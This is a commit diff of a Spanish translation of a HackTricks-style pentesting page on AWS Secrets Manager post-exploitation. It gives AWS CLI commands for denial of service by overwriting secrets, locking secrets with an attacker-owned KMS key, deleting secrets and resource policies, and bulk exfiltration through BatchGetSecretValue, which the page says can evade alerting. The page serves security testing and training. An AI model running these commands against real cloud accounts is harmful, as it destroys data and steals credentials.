Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-06 09:59:21 +00:00
parent 4f65093d9a
commit 4fb07e6447
2 changed files with 66 additions and 21 deletions

View File

@@ -10,37 +10,37 @@ Para más información consulta:
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Leer secretos
### Leer Secrets
Los **secretos en sí son información sensible**, [revisa la página de privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender cómo leerlos.
Los **secrets** son información sensible; [consulta la página de privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender cómo leerlos.
### DoS Cambiar el valor del secreto
### DoS - Cambiar el valor del secret
Cambiar el valor del secreto podría **hacer DoS a todos los sistemas que dependen de ese valor.**
Al cambiar el valor del secret podrías **DoS a todos los sistemas que dependen de ese valor.**
> [!WARNING]
> Ten en cuenta que los valores previos también se almacenan, por lo que es fácil volver al valor anterior.
> Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```
### DoS Cambiar KMS key
### DoS Change KMS key
Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secreto para que use una KMS key propiedad del atacante. Esa key se configura inicialmente de modo que cualquiera pueda accederla y usarla, por lo que es posible actualizar el secreto con la nueva key. Si la key no fuera accesible, no sería posible actualizar el secreto.
Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secreto para que use una KMS key propiedad del atacante. Esa clave se configura inicialmente de modo que cualquiera pueda acceder y usarla, por lo que es posible actualizar el secreto con la nueva clave. Si la clave no fuera accesible, no se podría actualizar el secreto.
Tras cambiar la key del secreto, el atacante modifica la configuración de su key para que solo él pueda acceder a ella. De este modo, en las versiones posteriores del secreto se cifra con la nueva key y, al no existir acceso a ella, se perderá la capacidad de recuperar el secreto.
Después de cambiar la clave del secreto, el atacante modifica la configuración de su clave para que solo él pueda acceder a ella. De esta manera, en las versiones subsecuentes del secreto, estará cifrado con la nueva clave y, al no haber acceso a ésta, se perdería la posibilidad de recuperar el secreto.
Es importante señalar que esta inaccesibilidad solo ocurrirá en versiones posteriores, después de que cambie el contenido del secreto, ya que la versión actual sigue estando cifrada con la KMS key original.
Es importante señalar que esta inaccesibilidad solo ocurrirá en versiones posteriores, tras el cambio del contenido del secreto, ya que la versión actual sigue estando cifrada con la KMS key original.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Eliminación de secreto
### DoS Deleting Secret
El número mínimo de días para eliminar un secreto es 7
El número mínimo de días para eliminar un secret es 7
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
@@ -48,7 +48,7 @@ aws secretsmanager delete-secret \
```
## secretsmanager:RestoreSecret
Es posible restaurar un secreto, lo que permite la recuperación de secretos que han sido programados para su eliminación, ya que el período mínimo de eliminación para los secretos es de 7 días y el máximo es de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite obtener su contenido.
Es posible restaurar un secreto, lo que permite la recuperación de secretos que han sido programados para eliminación, ya que el periodo mínimo de eliminación para secretos es de 7 días y el máximo es de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite recuperar sus contenidos.
Para recuperar un secreto que está en proceso de eliminación, puedes usar el siguiente comando:
```bash
@@ -57,20 +57,20 @@ aws secretsmanager restore-secret \
```
## secretsmanager:DeleteResourcePolicy
Esta acción permite eliminar la resource policy que controla quién puede acceder a un secret. Esto podría provocar un DoS si la resource policy estaba configurada para permitir el acceso a un conjunto específico de usuarios.
Esta acción permite eliminar la política de recursos que controla quién puede acceder a un secreto. Esto podría provocar un DoS si la política de recursos estaba configurada para permitir el acceso a un conjunto específico de usuarios.
Para eliminar la resource policy:
Para eliminar la política de recursos:
```bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
```
## secretsmanager:UpdateSecretVersionStage
Los estados de un secreto se usan para gestionar las versiones de un secreto. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS conserva la versión anterior para que puedas revertir si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.
Los estados de un secreto se usan para gestionar las versiones de un secreto. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS conserva la versión anterior para que puedas volver atrás si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.
Las aplicaciones siempre leen la versión con AWSCURRENT. Si alguien mueve esa etiqueta a la versión equivocada, las aplicaciones usarán credenciales inválidas y pueden fallar.
AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o reasigna incorrectamente, puede parecer que todo sigue ejecutándose con la versión anterior.
AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o reasigna incorrectamente, puede parecer que todo sigue funcionando con la versión anterior.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
@@ -79,3 +79,48 @@ aws secretsmanager update-secret-version-stage \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../banners/hacktricks-training.md}}
### Exfiltración masiva de secretos mediante BatchGetSecretValue (hasta 20 por llamada)
Abusa de la API Secrets Manager BatchGetSecretValue para recuperar hasta 20 secretos en una sola solicitud. Esto puede reducir drásticamente el volumen de llamadas API en comparación con iterar GetSecretValue por cada secreto. Si se usan filtros (tags/name), también se requiere el permiso ListSecrets. CloudTrail aún registra un evento GetSecretValue por cada secreto recuperado en el lote.
Permisos requeridos
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue para cada secret objetivo
- secretsmanager:ListSecrets si se usan --filters
- kms:Decrypt en las CMKs usadas por los secretos (si no se usa aws/secretsmanager)
> [!WARNING]
> Ten en cuenta que el permiso `secretsmanager:BatchGetSecretValue` no es suficiente por sí solo para recuperar secretos; también necesitas `secretsmanager:GetSecretValue` para cada secreto que quieras recuperar.
Exfiltrar mediante lista explícita
```bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate por filtros (tag key/value o name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
```
Manejo de fallos parciales
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
Impacto
- Extracción rápida “smash-and-grab” de muchos secretos con menos llamadas a la API, potencialmente eludiendo alertas ajustadas a picos de GetSecretValue.
- Los registros de CloudTrail todavía incluyen un evento GetSecretValue por cada secreto recuperado por el lote.